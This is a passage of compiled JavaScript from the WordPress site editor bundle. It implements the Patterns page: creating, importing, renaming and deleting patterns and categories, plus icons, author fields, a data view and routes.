} = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_patterns_namespaceObject.store));
const {
createSuccessNotice,
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const patternUploadInputRef = (0,external_wp_element_namespaceObject.useRef)();
const {
isBlockBasedTheme,
addNewPatternLabel,
addNewTemplatePartLabel,
canCreatePattern,
canCreateTemplatePart
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getCurrentTheme,
getPostType,
canUser
} = select(external_wp_coreData_namespaceObject.store);
return {
isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
addNewPatternLabel: getPostType(PATTERN_TYPES.user)?.labels?.add_new_item,
addNewTemplatePartLabel: getPostType(TEMPLATE_PART_POST_TYPE)?.labels?.add_new_item,
// Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
canCreatePattern: canUser('create', {
kind: 'postType',
name: PATTERN_TYPES.user
}),
canCreateTemplatePart: canUser('create', {
kind: 'postType',
name: TEMPLATE_PART_POST_TYPE
})
};
}, []);
function handleCreatePattern({
pattern
}) {
setShowPatternModal(false);
history.navigate(`/${PATTERN_TYPES.user}/${pattern.id}?canvas=edit`);
}
function handleCreateTemplatePart(templatePart) {
setShowTemplatePartModal(false);
history.navigate(`/${TEMPLATE_PART_POST_TYPE}/${templatePart.id}?canvas=edit`);
}
function handleError() {
setShowPatternModal(false);
setShowTemplatePartModal(false);
}
const controls = [];
if (canCreatePattern) {
controls.push({
icon: library_symbol,
onClick: () => setShowPatternModal(true),
title: addNewPatternLabel
});
}
if (isBlockBasedTheme && canCreateTemplatePart) {
controls.push({
icon: symbol_filled,
onClick: () => setShowTemplatePartModal(true),
title: addNewTemplatePartLabel
});
}
if (canCreatePattern) {
controls.push({
icon: library_upload,
onClick: () => {
patternUploadInputRef.current.click();
},
title: (0,external_wp_i18n_namespaceObject.__)('Import pattern from JSON')
});
}
const {
categoryMap,
findOrCreateTerm
} = useAddPatternCategory();
if (controls.length === 0) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [addNewPatternLabel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
controls: controls,
icon: null,
toggleProps: {
variant: 'primary',
showTooltip: false,
__next40pxDefaultSize: true
},
text: addNewPatternLabel,
label: addNewPatternLabel
}), showPatternModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreatePatternModal, {
onClose: () => setShowPatternModal(false),
onSuccess: handleCreatePattern,
onError: handleError
}), showTemplatePartModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModal, {
closeModal: () => setShowTemplatePartModal(false),
blocks: [],
onCreate: handleCreateTemplatePart,
onError: handleError
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", {
type: "file",
accept: ".json",
hidden: true,
ref: patternUploadInputRef,
onChange: async event => {
const file = event.target.files?.[0];
if (!file) {
return;
}
try {
let currentCategoryId;
// When we're not handling template parts, we should
// add or create the proper pattern category.
if (location.query.postType !== TEMPLATE_PART_POST_TYPE) {
/*
* categoryMap.values() returns an iterator.
* Iterator.prototype.find() is not yet widely supported.
* Convert to array to use the Array.prototype.find method.
*/
const currentCategory = Array.from(categoryMap.values()).find(term => term.name === location.query.categoryId);
if (currentCategory) {
currentCategoryId = currentCategory.id || (await findOrCreateTerm(currentCategory.label));
}
}
const pattern = await createPatternFromFile(file, currentCategoryId ? [currentCategoryId] : undefined);
// Navigate to the All patterns category for the newly created pattern
// if we're not on that page already and if we're not in the `my-patterns`
// category.
if (!currentCategoryId && location.query.categoryId !== 'my-patterns') {
history.navigate(`/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`);
}
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: The imported pattern's title.
(0,external_wp_i18n_namespaceObject.__)('Imported "%s" from JSON.'), pattern.title.raw), {
type: 'snackbar',
id: 'import-pattern-success'
});
} catch (err) {
createErrorNotice(err.message, {
type: 'snackbar',
id: 'import-pattern-error'
});
} finally {
event.target.value = '';
}
}
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/rename-category-menu-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Internal dependencies
*/
const {
RenamePatternCategoryModal
} = unlock(external_wp_patterns_namespaceObject.privateApis);
function RenameCategoryMenuItem({
category,
onClose
}) {
const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => setIsModalOpen(true),
children: (0,external_wp_i18n_namespaceObject.__)('Rename')
}), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(rename_category_menu_item_RenameModal, {
category: category,
onClose: () => {
setIsModalOpen(false);
onClose();
}
})]
});
}
function rename_category_menu_item_RenameModal({
category,
onClose
}) {
// User created pattern categories have their properties updated when
// retrieved via `getUserPatternCategories`. The rename modal expects an
// object that will match the pattern category entity.
const normalizedCategory = {
id: category.id,
slug: category.slug,
name: category.label
};
// Optimization - only use pattern categories when the modal is open.
const existingCategories = usePatternCategories();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenamePatternCategoryModal, {
category: normalizedCategory,
existingCategories: existingCategories,
onClose: onClose,
overlayClassName: "edit-site-list__rename-modal",
focusOnMount: "firstContentElement",
size: "small"
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/delete-category-menu-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: delete_category_menu_item_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function DeleteCategoryMenuItem({
category,
onClose
}) {
const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const history = delete_category_menu_item_useHistory();
const {
createSuccessNotice,
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const {
deleteEntityRecord,
invalidateResolution
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const onDelete = async () => {
try {
await deleteEntityRecord('taxonomy', 'wp_pattern_category', category.id, {
force: true
}, {
throwOnError: true
});
// Prevent the need to refresh the page to get up-to-date categories
// and pattern categorization.
invalidateResolution('getUserPatternCategories');
invalidateResolution('getEntityRecords', ['postType', PATTERN_TYPES.user, {
per_page: -1
}]);
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The pattern category's name */
(0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', 'pattern category'), category.label), {
type: 'snackbar',
id: 'pattern-category-delete'
});
onClose?.();
history.navigate(`/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`);
} catch (error) {
const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the pattern category.');
createErrorNotice(errorMessage, {
type: 'snackbar',
id: 'pattern-category-delete'
});
}
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
isDestructive: true,
onClick: () => setIsModalOpen(true),
children: (0,external_wp_i18n_namespaceObject.__)('Delete')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isModalOpen,
onConfirm: onDelete,
onCancel: () => setIsModalOpen(false),
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
className: "edit-site-patterns__delete-modal",
title: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: The pattern category's name.
(0,external_wp_i18n_namespaceObject._x)('Delete "%s"?', 'pattern category'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label)),
size: "medium",
__experimentalHideHeader: false,
children: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: The pattern category's name.
(0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete the category "%s"? The patterns will not be deleted.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label))
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/header.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function PatternsHeader({
categoryId,
type,
titleId,
descriptionId
}) {
const {
patternCategories
} = usePatternCategories();
const templatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [], []);
let title, description, patternCategory;
if (type === TEMPLATE_PART_POST_TYPE) {
const templatePartArea = templatePartAreas.find(area => area.area === categoryId);
title = templatePartArea?.label || (0,external_wp_i18n_namespaceObject.__)('All Template Parts');
description = templatePartArea?.description || (0,external_wp_i18n_namespaceObject.__)('Includes every template part defined for any area.');
} else if (type === PATTERN_TYPES.user && !!categoryId) {
patternCategory = patternCategories.find(category => category.name === categoryId);
title = patternCategory?.label;
description = patternCategory?.description;
}
if (!title) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-patterns__section-header",
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
className: "edit-site-patterns__title",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
as: "h2",
level: 3,
id: titleId,
weight: 500,
truncate: true,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewPattern, {}), !!patternCategory?.id && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
toggleProps: {
className: 'edit-site-patterns__button',
description: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: pattern category name */
(0,external_wp_i18n_namespaceObject.__)('Action menu for %s pattern category'), title),
size: 'compact'
},
children: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameCategoryMenuItem, {
category: patternCategory,
onClose: onClose
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DeleteCategoryMenuItem, {
category: patternCategory,
onClose: onClose
})]
})
})]
})]
}), description ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
variant: "muted",
as: "p",
id: descriptionId,
className: "edit-site-patterns__sub-title",
children: description
}) : null]
});
}
;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
/**
* WordPress dependencies
*/
const pencil = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"
})
});
/* harmony default export */ const library_pencil = (pencil);
;// ./node_modules/@wordpress/icons/build-module/library/edit.js
/**
* Internal dependencies
*/
/* harmony default export */ const edit = (library_pencil);
;// ./node_modules/@wordpress/edit-site/build-module/components/dataviews-actions/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: dataviews_actions_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const useEditPostAction = () => {
const history = dataviews_actions_useHistory();
return (0,external_wp_element_namespaceObject.useMemo)(() => ({
id: 'edit-post',
label: (0,external_wp_i18n_namespaceObject.__)('Edit'),
isPrimary: true,
icon: edit,
isEligible(post) {
if (post.status === 'trash') {
return false;
}
// It's eligible for all post types except theme patterns.
return post.type !== PATTERN_TYPES.theme;
},
callback(items) {
const post = items[0];
history.navigate(`/${post.type}/${post.id}?canvas=edit`);
}
}), [history]);
};
;// ./node_modules/@wordpress/icons/build-module/library/plugins.js
/**
* WordPress dependencies
*/
const plugins = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z"
})
});
/* harmony default export */ const library_plugins = (plugins);
;// ./node_modules/@wordpress/icons/build-module/library/globe.js
/**
* WordPress dependencies
*/
const globe = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 3.3c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8s-4-8.8-8.8-8.8zm6.5 5.5h-2.6C15.4 7.3 14.8 6 14 5c2 .6 3.6 2 4.5 3.8zm.7 3.2c0 .6-.1 1.2-.2 1.8h-2.9c.1-.6.1-1.2.1-1.8s-.1-1.2-.1-1.8H19c.2.6.2 1.2.2 1.8zM12 18.7c-1-.7-1.8-1.9-2.3-3.5h4.6c-.5 1.6-1.3 2.9-2.3 3.5zm-2.6-4.9c-.1-.6-.1-1.1-.1-1.8 0-.6.1-1.2.1-1.8h5.2c.1.6.1 1.1.1 1.8s-.1 1.2-.1 1.8H9.4zM4.8 12c0-.6.1-1.2.2-1.8h2.9c-.1.6-.1 1.2-.1 1.8 0 .6.1 1.2.1 1.8H5c-.2-.6-.2-1.2-.2-1.8zM12 5.3c1 .7 1.8 1.9 2.3 3.5H9.7c.5-1.6 1.3-2.9 2.3-3.5zM10 5c-.8 1-1.4 2.3-1.8 3.8H5.5C6.4 7 8 5.6 10 5zM5.5 15.3h2.6c.4 1.5 1 2.8 1.8 3.7-1.8-.6-3.5-2-4.4-3.7zM14 19c.8-1 1.4-2.2 1.8-3.7h2.6C17.6 17 16 18.4 14 19z"
})
});
/* harmony default export */ const library_globe = (globe);
;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
/**
* WordPress dependencies
*/
const commentAuthorAvatar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
clipRule: "evenodd"
})
});
/* harmony default export */ const comment_author_avatar = (commentAuthorAvatar);
;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/hooks.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/** @typedef {'wp_template'|'wp_template_part'} TemplateType */
/**
* @typedef {'theme'|'plugin'|'site'|'user'} AddedByType
*
* @typedef AddedByData
* @type {Object}
* @property {AddedByType} type The type of the data.
* @property {JSX.Element} icon The icon to display.
* @property {string} [imageUrl] The optional image URL to display.
* @property {string} [text] The text to display.
* @property {boolean} isCustomized Whether the template has been customized.
*
* @param {TemplateType} postType The template post type.
* @param {number} postId The template post id.
* @return {AddedByData} The added by object or null.
*/
function useAddedBy(postType, postId) {
return (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
getMedia,
getUser,
getEditedEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const template = getEditedEntityRecord('postType', postType, postId);
const originalSource = template?.original_source;
const authorText = template?.author_text;
switch (originalSource) {
case 'theme':
{
return {
type: originalSource,
icon: library_layout,
text: authorText,
isCustomized: template.source === TEMPLATE_ORIGINS.custom
};
}
case 'plugin':
{
return {
type: originalSource,
icon: library_plugins,
text: authorText,
isCustomized: template.source === TEMPLATE_ORIGINS.custom
};
}
case 'site':
{
const siteData = getEntityRecord('root', '__unstableBase');
return {
type: originalSource,
icon: library_globe,
imageUrl: siteData?.site_logo ? getMedia(siteData.site_logo)?.source_url : undefined,
text: authorText,
isCustomized: false
};
}
default:
{
const user = getUser(template.author);
return {
type: 'user',
icon: comment_author_avatar,
imageUrl: user?.avatar_urls?.[48],
text: authorText,
isCustomized: false
};
}
}
}, [postType, postId]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/fields.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: fields_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function PreviewField({
item
}) {
const descriptionId = (0,external_wp_element_namespaceObject.useId)();
const description = item.description || item?.excerpt?.raw;
const isTemplatePart = item.type === TEMPLATE_PART_POST_TYPE;
const [backgroundColor] = fields_useGlobalStyle('color.background');
const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
var _item$blocks;
return (_item$blocks = item.blocks) !== null && _item$blocks !== void 0 ? _item$blocks : (0,external_wp_blocks_namespaceObject.parse)(item.content.raw, {
__unstableSkipMigrationLogs: true
});
}, [item?.content?.raw, item.blocks]);
const isEmpty = !blocks?.length;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "page-patterns-preview-field",
style: {
backgroundColor
},
"aria-describedby": !!description ? descriptionId : undefined,
children: [isEmpty && isTemplatePart && (0,external_wp_i18n_namespaceObject.__)('Empty template part'), isEmpty && !isTemplatePart && (0,external_wp_i18n_namespaceObject.__)('Empty pattern'), !isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
blocks: blocks,
viewportWidth: item.viewportWidth
})
}), !!description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
hidden: true,
id: descriptionId,
children: description
})]
});
}
const previewField = {
label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
id: 'preview',
render: PreviewField,
enableSorting: false
};
const SYNC_FILTERS = [{
value: PATTERN_SYNC_TYPES.full,
label: (0,external_wp_i18n_namespaceObject._x)('Synced', 'pattern (singular)'),
description: (0,external_wp_i18n_namespaceObject.__)('Patterns that are kept in sync across the site.')
}, {
value: PATTERN_SYNC_TYPES.unsynced,
label: (0,external_wp_i18n_namespaceObject._x)('Not synced', 'pattern (singular)'),
description: (0,external_wp_i18n_namespaceObject.__)('Patterns that can be changed freely without affecting the site.')
}];
const patternStatusField = {
label: (0,external_wp_i18n_namespaceObject.__)('Sync status'),
id: 'sync-status',
render: ({
item
}) => {
const syncStatus = 'wp_pattern_sync_status' in item ? item.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full : PATTERN_SYNC_TYPES.unsynced;
// User patterns can have their sync statuses checked directly.
// Non-user patterns are all unsynced for the time being.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: `edit-site-patterns__field-sync-status-${syncStatus}`,
children: SYNC_FILTERS.find(({
value
}) => value === syncStatus).label
});
},
elements: SYNC_FILTERS,
filterBy: {
operators: [OPERATOR_IS],
isPrimary: true
},
enableSorting: false
};
function AuthorField({
item
}) {
const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const {
text,
icon,
imageUrl
} = useAddedBy(item.type, item.id);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
alignment: "left",
spacing: 0,
children: [imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('page-templates-author-field__avatar', {
'is-loaded': isImageLoaded
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
onLoad: () => setIsImageLoaded(true),
alt: "",
src: imageUrl
})
}), !imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "page-templates-author-field__icon",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: icon
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "page-templates-author-field__name",
children: text
})]
});
}
const templatePartAuthorField = {
label: (0,external_wp_i18n_namespaceObject.__)('Author'),
id: 'author',
getValue: ({
item
}) => item.author_text,
render: AuthorField,
filterBy: {
isPrimary: true
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
ExperimentalBlockEditorProvider: page_patterns_ExperimentalBlockEditorProvider
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
usePostActions,
patternTitleField
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useLocation: page_patterns_useLocation,
useHistory: page_patterns_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const page_patterns_EMPTY_ARRAY = [];
const defaultLayouts = {
[LAYOUT_TABLE]: {
layout: {
styles: {
author: {
width: '1%'
}
}
}
},
[LAYOUT_GRID]: {
layout: {
badgeFields: ['sync-status']
}
}
};
const DEFAULT_VIEW = {
type: LAYOUT_GRID,
search: '',
page: 1,
perPage: 20,
titleField: 'title',
mediaField: 'preview',
fields: ['sync-status'],
filters: [],
...defaultLayouts[LAYOUT_GRID]
};
function DataviewsPatterns() {
const {
query: {
postType = 'wp_block',
categoryId: categoryIdFromURL
}
} = page_patterns_useLocation();
const history = page_patterns_useHistory();
const categoryId = categoryIdFromURL || PATTERN_DEFAULT_CATEGORY;
const [view, setView] = (0,external_wp_element_namespaceObject.useState)(DEFAULT_VIEW);
const previousCategoryId = (0,external_wp_compose_namespaceObject.usePrevious)(categoryId);
const previousPostType = (0,external_wp_compose_namespaceObject.usePrevious)(postType);
const viewSyncStatus = view.filters?.find(({
field
}) => field === 'sync-status')?.value;
const {
patterns,
isResolving
} = use_patterns(postType, categoryId, {
search: view.search,
syncStatus: viewSyncStatus
});
const {
records
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_PART_POST_TYPE, {
per_page: -1
});
const authors = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!records) {
return page_patterns_EMPTY_ARRAY;
}
const authorsSet = new Set();
records.forEach(template => {
authorsSet.add(template.author_text);
});
return Array.from(authorsSet).map(author => ({
value: author,
label: author
}));
}, [records]);
const fields = (0,external_wp_element_namespaceObject.useMemo)(() => {
const _fields = [previewField, patternTitleField];
if (postType === PATTERN_TYPES.user) {
_fields.push(patternStatusField);
} else if (postType === TEMPLATE_PART_POST_TYPE) {
_fields.push({
...templatePartAuthorField,
elements: authors
});
}
return _fields;
}, [postType, authors]);
// Reset the page number when the category changes.
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (previousCategoryId !== categoryId || previousPostType !== postType) {
setView(prevView => ({
...prevView,
page: 1
}));
}
}, [categoryId, previousCategoryId, previousPostType, postType]);
const {
data,
paginationInfo
} = (0,external_wp_element_namespaceObject.useMemo)(() => {
// Search is managed server-side as well as filters for patterns.
// However, the author filter in template parts is done client-side.
const viewWithoutFilters = {
...view
};
delete viewWithoutFilters.search;
if (postType !== TEMPLATE_PART_POST_TYPE) {
viewWithoutFilters.filters = [];
}
return filterSortAndPaginate(patterns, viewWithoutFilters, fields);
}, [patterns, view, fields, postType]);
const dataWithPermissions = useAugmentPatternsWithPermissions(data);
const templatePartActions = usePostActions({
postType: TEMPLATE_PART_POST_TYPE,
context: 'list'
});
const patternActions = usePostActions({
postType: PATTERN_TYPES.user,
context: 'list'
});
const editAction = useEditPostAction();
const actions = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (postType === TEMPLATE_PART_POST_TYPE) {
return [editAction, ...templatePartActions].filter(Boolean);
}
return [editAction, ...patternActions].filter(Boolean);
}, [editAction, postType, templatePartActions, patternActions]);
const id = (0,external_wp_element_namespaceObject.useId)();
const settings = usePatternSettings();
// Wrap everything in a block editor provider.
// This ensures 'styles' that are needed for the previews are synced
// from the site editor store to the block editor store.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_patterns_ExperimentalBlockEditorProvider, {
settings: settings,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Page, {
title: (0,external_wp_i18n_namespaceObject.__)('Patterns content'),
className: "edit-site-page-patterns-dataviews",
hideTitleFromUI: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsHeader, {
categoryId: categoryId,
type: postType,
titleId: `${id}-title`,
descriptionId: `${id}-description`
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
paginationInfo: paginationInfo,
fields: fields,
actions: actions,
data: dataWithPermissions || page_patterns_EMPTY_ARRAY,
getItemId: item => {
var _item$name;
return (_item$name = item.name) !== null && _item$name !== void 0 ? _item$name : item.id;
},
isLoading: isResolving,
isItemClickable: item => item.type !== PATTERN_TYPES.theme,
onClickItem: item => {
history.navigate(`/${item.type}/${[PATTERN_TYPES.user, TEMPLATE_PART_POST_TYPE].includes(item.type) ? item.id : item.name}?canvas=edit`);
},
view: view,
onChangeView: setView,
defaultLayouts: defaultLayouts
}, categoryId + postType)]
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/patterns.js
/**
* Internal dependencies
*/
const patternsRoute = {
name: 'patterns',
path: '/pattern',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
backPath: backPath
});
},
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}),
mobile({
siteData,
query
}) {
const {
categoryId
} = query;
const isBlockTheme = siteData.currentTheme?.is_block_theme;
const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
return !!categoryId ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
backPath: backPath
});
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pattern-item.js
/**
* Internal dependencies
*/
const patternItemRoute = {
name: 'pattern-item',
path: '/wp_block/:postId',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
backPath: backPath
});
},
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-part-item.js
/**
* Internal dependencies
*/
const templatePartItemRoute = {
name: 'template-part-item',
path: '/wp_template_part/*postId',
areas: {
sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
backPath: "/"
}),
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/content.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: content_useLocation
